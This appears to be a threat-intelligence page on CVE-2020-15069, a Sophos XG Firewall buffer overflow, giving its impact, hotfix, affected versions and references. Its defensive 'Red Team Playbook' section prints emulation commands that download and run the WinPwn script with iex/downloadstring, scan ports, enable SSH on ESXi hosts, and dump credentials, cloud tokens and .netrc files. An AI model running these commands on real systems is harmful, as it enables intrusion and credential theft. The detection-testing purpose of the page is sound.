CVE-2020-15069
Overview
This vulnerability is a buffer overflow caused by improper handling of input data within the HTTP/S Bookmarks feature of Sophos XG Firewall firmware versions 17.x through 17.5 MR12. The flaw arises from insufficient bounds checking when processing clientless access requests, leading to memory corruption. The affected component is the firewall's user portal interface responsible for managing bookmarks over HTTP/S connections.
Vulnerability Description
Sophos XG Firewall 17.x through v17.5 MR12 allows a Buffer Overflow and remote code execution via the HTTP/S Bookmarks feature for clientless access. Hotfix HF062020.1 was published for all firewalls running v17.x.
Impact
An unauthenticated attacker can exploit this vulnerability remotely to execute arbitrary code on the firewall, potentially gaining full control over the device. This enables compromise of network traffic inspection, firewall policies, and internal network security. No user interaction or credentials are required, allowing direct exploitation from the internet-facing interface. The business impact includes complete system compromise, disruption of network security enforcement, and potential lateral movement within the protected network environment.
Solution
Sophos published hotfix HF062020.1 addressing this buffer overflow for all XG Firewall versions running 17.x, including 17.5 MR12. Administrators should apply this hotfix promptly to affected devices. Detailed patch instructions and advisory information are available on the Sophos Community Security Blog at https://community.sophos.com/b/security-blog/posts/advisory-buffer-overflow-vulnerability-in-user-portal.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Sophos XG Firewall versions 17.x through 17.5 MR12 is characterized by a buffer overflow that can lead to remote code execution. This flaw is particularly concerning due to its exploitation potential via the HTTP/S Bookmarks feature, which is intended for clientless access. Buffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, leading to adjacent memory corruption. In this case, an attacker can exploit this weakness to execute arbitrary code on the affected device, potentially gaining unauthorized access to sensitive network resources and compromising the integrity of the firewall.
Attack vectors for this vulnerability are primarily remote, allowing an attacker to exploit the flaw without needing physical access to the device. By crafting malicious HTTP/S requests that trigger the buffer overflow, an attacker can manipulate the execution flow of the firewall's firmware. This could lead to various exploitation scenarios, such as deploying malware, exfiltrating data, or establishing persistent access to the network. Given that firewalls are critical components in network security, successful exploitation could result in significant breaches, allowing attackers to bypass security measures and gain control over internal systems.
The real-world impact of this vulnerability is substantial, particularly for organizations relying on Sophos XG Firewall for their network security. The high CVSS score of 9.8 indicates a critical risk, suggesting that successful exploitation could lead to severe consequences, including data breaches, financial losses, and reputational damage. Businesses may face regulatory scrutiny and compliance issues if sensitive data is compromised. Furthermore, the operational disruption caused by a successful attack could hinder business continuity and lead to costly recovery efforts.
To detect and mitigate this vulnerability, organizations should prioritize the deployment of the hotfix provided by Sophos, which addresses the buffer overflow issue. Regularly updating firewall firmware is essential to protect against known vulnerabilities. Additionally, network monitoring tools should be employed to detect unusual traffic patterns or unauthorized access attempts that may indicate exploitation attempts. Implementing strict access controls and segmentation within the network can further limit the potential impact of an attack. Organizations should also conduct regular security assessments and penetration testing to identify and remediate vulnerabilities proactively.
In conclusion, the buffer overflow vulnerability in Sophos XG Firewall presents a significant threat to network security. Its potential for remote code execution underscores the importance of maintaining up-to-date security measures and being vigilant against emerging threats. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare their defenses and mitigate the associated risks.
CSURFACE threat intelligence has detected a marked escalation in activity related to CVE-2020-15069, with new telemetry indicating the vulnerability is being targeted more frequently despite a significant decline in its EPSS score. This divergence suggests that while automated or opportunistic exploitation attempts may be waning, targeted adversaries could be increasing their focus on this Sophos XG Firewall flaw, potentially leveraging it in more sophisticated or selective campaigns. The recent inclusion of this vulnerability in the KEV catalog underscores its continued relevance and the need for heightened vigilance. Although no new exploit variants or ransomware associations have surfaced, the uptick in detection activity signals that defenders should remain alert to evolving tactics that might exploit this buffer overflow vulnerability. Consequently, the overall threat level remains critical due to the potential for remote code execution, but the shifting exploitation patterns indicate a nuanced risk landscape requiring ongoing monitoring.
Affected Products (13)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Sophos | Xg Firewall Firmware | All |
cpe:2.3:o:sophos:xg_firewall_firmware:*:*:*:*:*:*:*:*
|
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|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:-:*:*:*:*:*:*
|
|
|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release1:*:*:*:*:*:*
|
|
|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release10:*:*:*:*:*:*
|
|
|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release11:*:*:*:*:*:*
|
|
|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release12:*:*:*:*:*:*
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|
|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release3:*:*:*:*:*:*
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|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release4:*:*:*:*:*:*
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Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release5:*:*:*:*:*:*
|
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|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release6:*:*:*:*:*:*
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|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release7:*:*:*:*:*:*
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|
Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release8:*:*:*:*:*:*
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Sophos | Xg Firewall Firmware | 17.5 |
cpe:2.3:o:sophos:xg_firewall_firmware:17.5:maintenance_release9:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-15069 |
| community.sophos.com |
GitHub CVE
x_refsource_CONFIRM
|
https://community.sophos.com/b/security-blog/posts/advisory-buffer-overflow-vulnerability-in-user-portal |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-15069 |